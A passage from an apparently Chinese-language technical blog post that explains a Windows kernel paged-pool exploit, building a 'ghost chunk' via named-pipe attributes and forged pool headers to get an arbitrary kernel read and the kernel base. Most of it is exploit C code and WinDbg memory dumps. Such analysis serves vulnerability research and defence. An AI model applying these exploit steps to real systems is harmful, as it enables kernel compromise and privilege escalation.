] is INVALID.<br/>Analyzing linked list...<br/>Scanning for single bit errors...<br/>None found<br/>0: kd&gt; dq ffffb80008cfb3e0 //这里是被respray再次占用的漏洞块<br/>ffffb800`08cfb3e0  7441704e`03190000 ffffffff`ffffffff<br/>ffffb800`08cfb3f0  ffffb800`09109830 ffffb800`09109830<br/>ffffb800`08cfb400  ffffb800`08cfb418 00000000`00000156<br/>ffffb800`08cfb410  ffffb800`08cfb41a 42424242`4242005a<br/>ffffb800`08cfb420  ffffffaf`00210000 42424242`42424242 //respray对原始的pipe_attribute值进行了修改，这里被赋值为幽灵块的POOL_HADER<br/>ffffb800`08cfb430  42424242`42424242 42424242`42424242<br/>ffffb800`08cfb440  42424242`42424242 42424242`42424242<br/>ffffb800`08cfb450  42424242`42424242 42424242`42424242<br/>0: kd&gt; dt nt!_POOL_HEADER ffffb800`08cfb420<br/>   +0x000 PreviousSize     : 0y00000000 (0)<br/>   +0x000 PoolIndex        : 0y00000000 (0)<br/>   +0x002 BlockSize        : 0y00100001 (0x21) //幽灵块的大小 0x210/0x10<br/>   +0x002 PoolType         : 0y00000000 (0)<br/>   +0x000 Ulong1           : 0x210000<br/>   +0x004 PoolTag          : 0xffffffaf<br/>   +0x008 ProcessBilled    : 0x42424242`42424242 _EPROCESS<br/>   +0x008 AllocatorBackTraceIndex : 0x4242<br/>   +0x00a PoolTagHash      : 0x4242<br/>0: kd&gt; dq ffffb80008cfb570<br/>ffffb800`08cfb570  7441704e`04000015 00000000`ffffffe8 //可以看到，相邻块的POOL_HEADER已被修改<br/>ffffb800`08cfb580  ffffb800`09069850 ffffb800`09069850<br/>ffffb800`08cfb590  ffffb800`08cfb5a8 00000000`00000156<br/>ffffb800`08cfb5a0  ffffb800`08cfb5aa 41414141`4141005a<br/>ffffb800`08cfb5b0  41414141`41414141 41414141`41414141<br/>ffffb800`08cfb5c0  41414141`41414141 41414141`41414141<br/>ffffb800`08cfb5d0  41414141`41414141 41414141`41414141<br/>ffffb800`08cfb5e0  41414141`41414141 41414141`41414141<br/>0: kd&gt; dt nt!_POOL_HEADER dq ffffb80008cfb570<br/>Cannot find specified field members.<br/>0: kd&gt; dt nt!_POOL_HEADER ffffb80008cfb570<br/>   +0x000 PreviousSize     : 0y00010101 (0x15)<br/>   +0x000 PoolIndex        : 0y00000000 (0)<br/>   +0x002 BlockSize        : 0y00000000 (0)<br/>   +0x002 PoolType         : 0y00000100 (0x4)<br/>   +0x000 Ulong1           : 0x4000015<br/>   +0x004 PoolTag          : 0x7441704e<br/>   +0x008 ProcessBilled    : 0x00000000`ffffffe8 _EPROCESS<br/>   +0x008 AllocatorBackTraceIndex : 0xffe8<br/>   +0x00a PoolTagHash      : 0xffff<br/></span></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从上图我们可以看到，相邻块的POOL_HEADER中PreviousSize和PoolType已经被修改，且PoolType的CacheAligned位被设置，那么从原作者的文章中我们可以了解到，当一个块的PoolType的CacheAligned位被设置，那么在释放这个块时，它将尝试寻找原始的块地址，以便正确的释放此块。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">原始块地址计算方法如下：</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">if</span> ( AlignedHeader -&gt;PoolType &amp; 4 )<br/>{<br/> OriginalHeader = (QWORD)AlignedHeader - AlignedHeader -&gt;PreviousSize * 0x10;<br/> OriginalHeader -&gt;PoolType |= 4;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">由上面的调试可知，原始的块地址为：<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">ffffb80008cfb570 - 0x15 * 0x10 = ffffb80008cfb420</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过释放相邻块，即可触发对幽灵块的释放，所以我们将会得到一个大小为0x210的空闲堆。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>3. 申请幽灵块<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">对相邻块进行释放，即可得到一个空闲的大小为0x210的幽灵块</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">spray_pipes(xploit-&gt;lookaside1);<br/>sleep(2);<br/>spray_pipes(xploit-&gt;lookaside2);<br/>sleep(1);<br/>free_pipes(spray1);<br/>free_pipes(spray2);//这里对相邻块进行了释放<br/><span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] Alloc ghost !\n&#34;</span>);<br/>xploit-&gt;alloc_ghost_chunk(xploit, attribute);//通过给管道设置属性，来申请刚刚释放的幽灵块。<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">申请到的幽灵块如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; dq ffffb80008cfb3e0<br/>ffffb800`08cfb3e0  7441704e`03190000 ffffffff`ffffffff //这里是通过respray重新占用的漏洞块的POOL_HEADER,大小为0x190<br/>ffffb800`08cfb3f0  ffffb800`09109830 ffffb800`09109830<br/>ffffb800`08cfb400  ffffb800`08cfb418 00000000`00000156<br/>ffffb800`08cfb410  ffffb800`08cfb41a 42424242`4242005a<br/>ffffb800`08cfb420  7441704e`03210000 42424242`42424242 //这里是幽灵块，大小为0x210<br/>ffffb800`08cfb430  ffffb800`0885a190 ffffb800`0885a190<br/>ffffb800`08cfb440  ffffb800`08cfb458 00000000`000001d6<br/>ffffb800`08cfb450  ffffb800`08cfb45a 43434343`4343005a<br/>0: kd&gt; dt nt!_POOL_HEADER ffffb800`08cfb420<br/>   +0x000 PreviousSize     : 0y00000000 (0)<br/>   +0x000 PoolIndex        : 0y00000000 (0)<br/>   +0x002 BlockSize        : 0y00100001 (0x21)<br/>   +0x002 PoolType         : 0y00000011 (0x3)<br/>   +0x000 Ulong1           : 0x3210000<br/>   +0x004 PoolTag          : 0x7441704e<br/>   +0x008 ProcessBilled    : 0x42424242`42424242 _EPROCESS<br/>   +0x008 AllocatorBackTraceIndex : 0x4242<br/>   +0x00a PoolTagHash      : 0x4242<br/>0: kd&gt; dq ffffb800`08cfb420<br/>ffffb800`08cfb420  7441704e`03210000 42424242`42424242<br/>ffffb800`08cfb430  ffffb800`0885a190 ffffb800`0885a190<br/>ffffb800`08cfb440  ffffb800`08cfb458 00000000`000001d6<br/>ffffb800`08cfb450  ffffb800`08cfb45a 43434343`4343005a<br/>ffffb800`08cfb460  43434343`43434343 43434343`43434343<br/>ffffb800`08cfb470  43434343`43434343 43434343`43434343<br/>ffffb800`08cfb480  43434343`43434343 43434343`43434343<br/>ffffb800`08cfb490  43434343`43434343 43434343`43434343<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从上图我们可以发现，实际上，通过上面的操作，漏洞块和幽灵块共享了同一部分内存，也就是从漏洞块POOL_HEADER处偏移0x40的位置开始，漏洞块和幽灵块共享了0x150大小的内存。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>4. 信息泄露<span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">if</span> (!xploit-&gt;get_leak(xploit, xploit-&gt;respray))<br/>        <span style="color: #e6c07b;line-height: 26px;">return</span> 0;<br/></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">int get_leak(xploit_t * xploit, pipe_spray_t * respray)<br/>{<br/>    char leak[0x1000] = {0};<br/>    //<span style="color: #5c6370;font-style: italic;line-height: 26px;">#define ATTRIBUTE_NAME      &#34;Z&#34;</span><br/>    xploit-&gt;leak_offset = xploit-&gt;targeted_vuln_size + xploit-&gt;offset_to_pool_header - xploit-&gt;backward_step - xploit-&gt;struct_header_size - ATTRIBUTE_NAME_LEN; //leak_offset=0x6<br/>    LOG_DEBUG(<span style="color: #98c379;line-height: 26px;">&#34;Leak offset is 0x%X&#34;</span>, xploit-&gt;leak_offset);<br/>    // leak the data contained <span style="color: #c678dd;line-height: 26px;">in</span> ghost chunk<br/>    xploit-&gt;leaking_pipe_idx = read_pipes(respray, leak);//int read_pipes(pipe_spray_t * pipe_spray, char * leak)<br/>    <span style="color: #c678dd;line-height: 26px;">if</span> (xploit-&gt;leaking_pipe_idx == -1)<br/>    {<br/>        <span style="color: #c678dd;line-height: 26px;">if</span> (xploit-&gt;backend == LFH)<br/>            fprintf(stderr, <span style="color: #98c379;line-height: 26px;">&#34;[-] Reading pipes found no leak :(\n&#34;</span>);<br/>        <span style="color: #c678dd;line-height: 26px;">else</span><br/>            LOG_DEBUG(<span style="color: #98c379;line-height: 26px;">&#34;Reading pipes found no leak&#34;</span>);<br/>        <span style="color: #e6c07b;line-height: 26px;">return</span> 0;<br/>    }<br/>    LOG_DEBUG(<span style="color: #98c379;line-height: 26px;">&#34;Pipe %d of respray leaked data !&#34;</span>, xploit-&gt;leaking_pipe_idx);<br/>    // leak pipe attribute structure !<br/>    xploit-&gt;leak_root_attribute = *(uintptr_t *)((char *)leak + xploit-&gt;leak_offset + 0x10); // list.next<br/>    xploit-&gt;leak_attribute_name = *(uintptr_t *)((char *)leak + xploit-&gt;leak_offset + 0x20); // AttributeName<br/>    // 0x10 is POOL_HEADER<br/>    xploit-&gt;ghost_chunk = xploit-&gt;leak_attribute_name - LEN_OF_PIPE_ATTRIBUTE_STRUCT - POOL_HEADER_SIZE;<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] xploit-&gt;leak_root_attribute ptr is 0x%llX\n&#34;</span>, xploit-&gt;leak_root_attribute);<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] xploit-&gt;ghost_chunk         ptr is 0x%llX\n&#34;</span>, xploit-&gt;ghost_chunk);<br/>    <span style="color: #e6c07b;line-height: 26px;">return</span> 1;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">目前我们已经构造出漏洞块和幽灵块共享同一块内存的局面，且我们准确的知道幽灵块与漏洞块的偏移值。所以实际上可以通过NtFsControlFile来获取漏洞块的属性值，那么实际获取到的其实是幽灵块的Pipe_Attribute结构的值。因为在后面的利用中，我们要给幽灵块伪造一个Fake_Pipe_Attribute，同时在利用结束后，需要恢复幽灵块的Pipe_Attribute的原始值，以防蓝屏，所以这里要对原始的Pipe_Attribute值进行保存。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>5. 幽灵块设置Fake_Pipe_Attribute<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因为幽灵块和漏洞块共享同一块内存，所以要修改幽灵块的Pipe_Attribute，实际只需要修改漏洞块的Pipe_Attribute值即可。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">xploit-&gt;setup_ghost_overwrite(xploit, rewrite_buf);<br/>xploit-&gt;rewrite = prepare_pipes(SPRAY_SIZE * 4, xploit-&gt;targeted_vuln_size + POOL_HEADER_SIZE, rewrite_buf, xploit-&gt;spray_type);<br/>close_pipe(&amp;xploit-&gt;respray-&gt;pipes[xploit-&gt;leaking_pipe_idx]);//释放漏洞块<br/>spray_pipes(xploit-&gt;rewrite);//再次占用漏洞块<br/></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">void setup_ghost_overwrite(xploit_t * xploit, char * ghost_overwrite_buf)<br/>{<br/>    pipe_attribute_t  * overwritten_pipe_attribute;<br/>    strcpy(ghost_overwrite_buf, ATTRIBUTE_NAME);<br/>    overwritten_pipe_attribute = (pipe_attribute_t*)((char *)ghost_overwrite_buf + xploit-&gt;ghost_chunk_offset + POOL_HEADER_SIZE);<br/> // 使指向下一个属性的指针在用户层<br/>    overwritten_pipe_attribute-&gt;list.Flink = (LIST_ENTRY *)xploit-&gt;fake_pipe_attribute;<br/> // 虚拟值，必须在退出前修复它以避免崩溃<br/>    overwritten_pipe_attribute-&gt;list.Blink = (LIST_ENTRY *)0xDEADBEEFCAFEB00B;<br/> // 将属性名设置为一个错误的值，这样当我们试图从这里读取和属性时，就永远找不到它，所以它总是会去下一个指向userland的属性<br/>    overwritten_pipe_attribute-&gt;AttributeName = DUMB_ATTRIBUTE_NAME;<br/>    overwritten_pipe_attribute-&gt;ValueSize = 0x1;<br/>    overwritten_pipe_attribute-&gt;AttributeValue = DUMB_ATTRIBUTE_NAME;<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">修改后的幽灵块的Pipe_Attribute</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; dq ffffb80008cfb3e0 //这里是被rewrite再次占用的幽灵块<br/>ffffb800`08cfb3e0  7441704e`03190000 ffffffff`ffffffff<br/>ffffb800`08cfb3f0  ffffb800`0906fbb0 ffffb800`0906fbb0<br/>ffffb800`08cfb400  ffffb800`08cfb418 00000000`00000156<br/>ffffb800`08cfb410  ffffb800`08cfb41a 45454545`4545005a<br/>ffffb800`08cfb420  45454545`45454545 45454545`45454545 //幽灵块的Pipe_Attribute已经被成功修改。<br/>ffffb800`08cfb430  00000000`00bd1440 deadbeef`cafeb00b //List_next已经被修改为指向用户层的Fake_Pipe_Attribute的指针<br/>ffffb800`08cfb440  00000000`0040e85c 00000000`00000001<br/>ffffb800`08cfb450  00000000`0040e85c 45454545`45454545<br/></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>6. 任意地址读原语<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">经过上面第五步的操作，实际上我们已经获得了一个任意地址读原语。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在第五步的操作中，我们将幽灵块的Pipe_Attribute进行了修改，Pipe_Attribute的结构如下。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">//PipeAttribute是未公开的结构体<br/>struct PipeAttribute {<br/>LIST_ENTRY list;<br/>char * AttributeName;<br/>uint64_t AttributeValueSize ;<br/>char * AttributeValue ;<br/>char data [0];<br/>};<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">有一个已知的情况是，分页池创建管道后，用户可以向管道添加属性，同时属性值分配的大小和填充的数据完全由用户来控制。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">AttributeName和AttributeValue是指向数据区不同偏移的两个指针。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">同时在用户层，可以使用0x110038控制码来读取属性值。AttributeValue指针和AttributeValueSize大小将被用于读取属性值并返回给用户。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">属性值可以被修改，但这会触发先前的PipeAttribute的释放和新的PipeAttribute的分配。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这意味着如果攻击者可以控制PipeAttribute结构体的AttributeValue和AttributeValueSize字段，它就可以在内核中任意读取数据，但不能任意写。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">所以，现在我们控制了幽灵块中Pipe_Attribute的List_next指针值，使其指向用户层的Pipe_Attribute，也就意味着用户层的PipeAttribute结构体的AttributeValue和AttributeValueSize字段我们可以任意指定，也就可以在内核中任意读取数据数据，即获得了一个任意地址读原语。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>7. 获取kernel_base<span style="display: none;"></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">void find_kernel_base(xploit_t * xploit)<br/>{<br/>    uintptr_t file_object_ptr = 0;<br/>    uintptr_t file_object;<br/>    uintptr_t device_object;<br/>    uintptr_t driver_object;<br/>    uintptr_t NpFsdCreate;<br/>    file_object_ptr = xploit-&gt;find_file_object(xploit);<br/>    // Get the leak of ntoskrnl and npfs<br/>    exploit_arbitrary_read(xploit, file_object_ptr, (char *)&amp;file_object, 0x8);//文件对象<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] File object is : 0x%llx\n&#34;</span>, file_object);<br/> <br/>    exploit_arbitrary_read(xploit, file_object+8, (char *)&amp;device_object, 0x8);//设备对象<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] Device object is : 0x%llx\n&#34;</span>, device_object);<br/>    exploit_arbitrary_read(xploit, device_object+8,(char *)&amp;driver_object, 0x8);//驱动对象<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] Driver object is : 0x%llx\n&#34;</span>, driver_object);<br/>    exploit_arbitrary_read(xploit, driver_object+0x70, (char *)&amp;NpFsdCreate, 0x8);//驱动的第一个派遣函数<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] Major function is : 0x%llx\n&#34;</span>, NpFsdCreate);<br/>    uintptr_t ExAllocatePoolWithTag_ptr = NpFsdCreate - NPFS_NPFSDCREATE_OFFSET + NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET;//通过驱动派遣函数先获取到该驱动的基址，然后加上ExAllocatePoolWithTag函数在该驱动的导入表的偏移<br/>    uintptr_t ExAllocatePoolWithTag;<br/>    exploit_arbitrary_read(xploit, ExAllocatePoolWithTag_ptr, (char *)&amp;ExAllocatePoolWithTag, 0x8);//从导入表中获取ExAllocatePoolWithTag函数的实际地址<br/>    <span style="color: #e6c07b;line-height: 26px;">printf</span>(<span style="color: #98c379;line-height: 26px;">&#34;[+] ExAllocatePoolWithTag is : 0x%llx\n&#34;</span>, ExAllocatePoolWithTag);<br/>    xploit-&gt;kernel_base =  ExAllocatePoolWithTag - NT_ALLOCATEPOOLWITHTAG_OFFSET;//ExAllocatePoolWithTag函数的地址减去nt中的偏移，就拿到了nt的基址<br/>}<br/></code></pre><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd&gt; dt _FILE_OBJECT 0xFFFFE103010A18F0<br/>ntdll!_FILE_OBJECT<br/>   +0x000 Type             : 0n5<br/>   +0x002 Size             : 0n216<br/>   +0x008 DeviceObject     : 0xffffe102`faf538f0 _DEVICE_OBJECT<br/>   +0x010 Vpb              : (null) <br/>   +0x018 FsContext        : 0xffffb800`09002980 Void<br/>   +0x020 FsContext2       : 0xffffb800`0885a051 Void<br/>   ..................................................<br/>0: kd&gt; dt _DEVICE_OBJECT 0xffffe102`faf538f0<br/>ntdll!_DEVICE_OBJECT<br/>   +0x000 Type             : 0n3<br/>   +0x002 Size             : 0x308<br/>   +0x004 ReferenceCount   : 0n2768<br/>   +0x008 DriverObject     : 0xffffe102`facd8ce0 _DRIVER_OBJECT<br/>   +0x010 NextDevice       : (null) <br/>   +0x018 AttachedDevice   : 0xffffe102`fc56ace0 _DEVICE_OBJECT<br/>   ............................................................<br/>0: kd&gt; dt _DRIVER_OBJECT 0xffffe102`facd8ce0<br/>ntdll!_DRIVER_OBJECT<br/>   +0x000 Type             : 0n4<br/>   +0x002 Size             : 0n336<br/>   +0x008 DeviceObject     : 0xffffe102`faf538f0 _DEVICE_OBJECT<br/>   +0x010 Flags            : 0x12<br/>   +0x018 DriverStart      : 0xfffff803`3f090000 Void<br/>   +0x020 DriverSize       : 0x1c000<br/>   +0x028 DriverSection    : 0xffffe102`faa457c0 Void<br/>   +0x030 DriverExtension  : 0xffffe102`facd8e30 _DRIVER_EXTENSION<br/>   +0x038 DriverName       : _UNICODE_STRING <span style="color: #98c379;line-height: 26px;">&#34;\FileSystem\Npfs&#34;</span><br/>   +0x048 HardwareDatabase : 0xfffff803`3a3af8f8 _UNICODE_STRING <span style="color: #98c379;line-height: 26px;">&#34;\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM&#34;</span><br/>   +0x050 FastIoDispatch   : 0xffffe102`fa77ae60 _FAST_IO_DISPATCH<br/>   +0x058 DriverInit       : 0xfffff803`3f0a8010     long  Npfs!GsDriverEntry+0<br/>   +0x060 DriverStartIo    : (null) <br/>   +0x068 DriverUnload     : (null) <br/>   +0x070 MajorFunction    : [28] 0xfffff803`3f09b670     long  Npfs!NpFsdCreate+0<br/>0: kd&gt; ? 0xfffff803`3f09b670-0xB670<br/>Evaluate expression: -8782150565888 = fffff803`3f090000 